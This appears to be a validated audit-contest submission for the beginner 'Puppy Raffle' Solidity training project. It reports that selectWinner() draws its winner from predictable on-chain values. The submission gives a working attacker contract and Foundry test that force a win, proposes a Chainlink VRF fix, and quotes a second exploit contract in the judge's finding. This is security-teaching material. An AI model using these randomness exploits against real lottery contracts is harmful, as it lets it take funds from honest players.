Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak Randomness in selectWinner() Enables Guaranteed Wins Through Predictability

georgibuilds

Root + Impact


Description

  • Winner selection uses three publicly readable, predictable values:

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @audit-issue All inputs are publicly known and predictable
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
msg.sender, // @audit Attacker controls (their address)
block.timestamp, // @audit Publicly readable from blockchain
block.difficulty // @audit Publicly readable, deprecated in PoS
))) % players.length;
address winner = players[winnerIndex];
// ... rest of function
}

Risk

Likelihood:

  • Requires basic web3 knowledge and simple scripts)

  • No special timing or conditions needed

Repeatable across unlimited raffle rounds

Impact:

  • Complete fairness breakdown - legitimate players have 0% win chance

Attacker steals fees with guaranteed wins

Protocol becomes economically unviable for honest participant

  • Multi-round exploitation possible

Proof of Concept

The test demonstrates that within just 2 block attempts, the attacker found a timestamp where they would win and successfully claimed the prize pool.

// test/PredictableRngAttacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract PredictableRngAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = puppyRaffle.entranceFee();
}
function enterRaffle() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
}
function attack() external {
uint256 playerCount = 0;
for (uint256 i = 0; ; i++) {
try puppyRaffle.players(i) returns (address player) {
if (player != address(0)) playerCount++;
} catch { break; }
}
// Predict winner using SAME calculation
uint256 predictedWinnerIndex = uint256(keccak256(abi.encodePacked(
address(this), block.timestamp, block.difficulty
))) % playerCount;
require(puppyRaffle.players(predictedWinnerIndex) == address(this), "Won't win");
puppyRaffle.selectWinner();
}
function onERC721Received(address, address, uint256, bytes calldata)
external pure returns (bytes4) {
return this.onERC721Received.selector;
}
receive() external payable {}
}
​
// test/PuppyRaffleTest.t.sol - Add this test
function testPredictableRngManipulation() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
PredictableRngAttacker attacker = new PredictableRngAttacker(puppyRaffle);
attacker.enterRaffle{value: entranceFee}();
vm.warp(block.timestamp + duration + 1);
// Find winning timestamp
for (uint256 i = 0; i < 100; i++) {
vm.warp(block.timestamp + i);
uint256 predicted = uint256(keccak256(abi.encodePacked(
address(attacker), block.timestamp, block.difficulty
))) % 5;
if (puppyRaffle.players(predicted) == address(attacker)) {
attacker.attack();
assertEq(puppyRaffle.previousWinner(), address(attacker));
return;
}
}
}
​
// Run: forge test --mt testPredictableRngManipulation -vv
// Result: [PASS] Attacker wins after finding winning timestamp (typically 2-10 attempts)

Recommended Mitigation

Alternative: Commit-Reveal scheme (simpler but centralized - owner commits hash, reveals after delay).

+ // Use Chainlink VRF for verifiable randomness
+ import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
+
+ contract PuppyRaffle is ERC721, Ownable, VRFConsumerBaseV2 {
+ VRFCoordinatorV2Interface COORDINATOR;
+ uint256 public s_requestId;
- function selectWinner() external {
+ function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "Raffle not over");
require(players.length >= 4, "Need at least 4 players");
- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
- msg.sender, block.timestamp, block.difficulty
- ))) % players.length;
- address winner = players[winnerIndex];
+ // Request verifiable random number
+ s_requestId = COORDINATOR.requestRandomWords(
+ keyHash, s_subscriptionId, 3, 100000, 1
+ );
+ }
+
+ function fulfillRandomWords(uint256, uint256[] memory randomWords) internal override {
+ uint256 winnerIndex = randomWords[0] % players.length;
+ address winner = players[winnerIndex];
// ... rest of winner logic
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 23 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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